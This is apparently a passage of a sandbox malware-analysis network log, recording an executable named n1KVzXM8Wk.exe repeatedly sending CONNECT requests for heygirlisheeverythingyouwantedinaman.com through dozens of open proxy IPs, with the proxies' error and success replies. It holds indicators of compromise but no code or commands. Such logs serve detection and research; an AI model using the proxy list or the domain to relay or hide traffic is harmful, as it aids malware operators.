Feb 23, 2024 09:45:18.475116014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.178332090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.866352081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49996	150.107.136.110	8082	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.969912052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.322882891 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50058	27.111.83.207	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.969983101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50200	74.119.147.209	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.979759932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50239	104.25.114.28	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.980807066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.068572998 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50164	65.21.255.197	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.985856056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.174321890 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:16.363260031 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50243	104.17.37.235	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.986114025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.073946953 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50032	221.134.152.75	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.988003016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50160	185.165.46.208	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.988070011 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.206710100 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50141	190.19.114.104	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:15.988074064 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.537378073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.240552902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.496057034 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50190	178.236.246.53	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.004602909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.474875927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50262	104.16.226.6	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.006113052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.093430042 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50081	103.44.239.244	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.039050102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.756104946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.850027084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.216839075 CET	24	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a Data Ascii: Keep-Alive: timeout=20
Feb 23, 2024 09:45:18.216866970 CET	27	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a Data Ascii: Content-Type: text/html
Feb 23, 2024 09:45:18.217060089 CET	20	IN	Data Raw: 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e Data Ascii: <h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50280	104.22.1.113	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.039753914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.127285957 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50249	51.79.87.144	30464	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.041085005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50295	162.159.242.8	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.044826984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.132116079 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50216	65.21.188.18	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.044908047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.235245943 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Length: 0
Feb 23, 2024 09:45:16.437067032 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50233	20.111.54.16	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.046292067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.206999063 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50114	58.182.138.139	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.056808949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.397772074 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50287	23.95.216.90	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.058294058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50126	103.162.31.91	33829	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.058871984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50131	146.190.84.209	62842	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.072936058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.787368059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.850025892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.916150093 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50109	43.255.113.232	82	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.086837053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.849857092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:18.037537098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:20.256572008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.740988016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.292512894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.834676981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.740678072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:00.412390947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49737	41.111.243.18	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.087778091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:19.177978039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178687096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.020178080 CET	520	IN	HTTP/1.1 502 Proxy Error Date: Fri, 23 Feb 2024 08:44:45 GMT Server: Apache Content-Length: 373 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 73 74 72 6f 6e 67 3e 44 4e 53 20 6c 6f 6f 6b 75 70 20 66 61 69 6c 75 72 65 20 66 6f 72 3a 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>DNS lookup failure for: heygirlisheeverythingyouwantedinaman.com</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50202	37.156.28.43	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.092963934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:17.221371889 CET	71	IN	HTTP/1.1 200 OK date: Fri, 23 Feb 2024 08:45:01 GMT server: envoy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50291	132.148.154.97	10958	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.099946022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50143	43.231.22.229	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.100191116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:16.438801050 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:16 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50327	104.16.25.216	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:16.100558996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
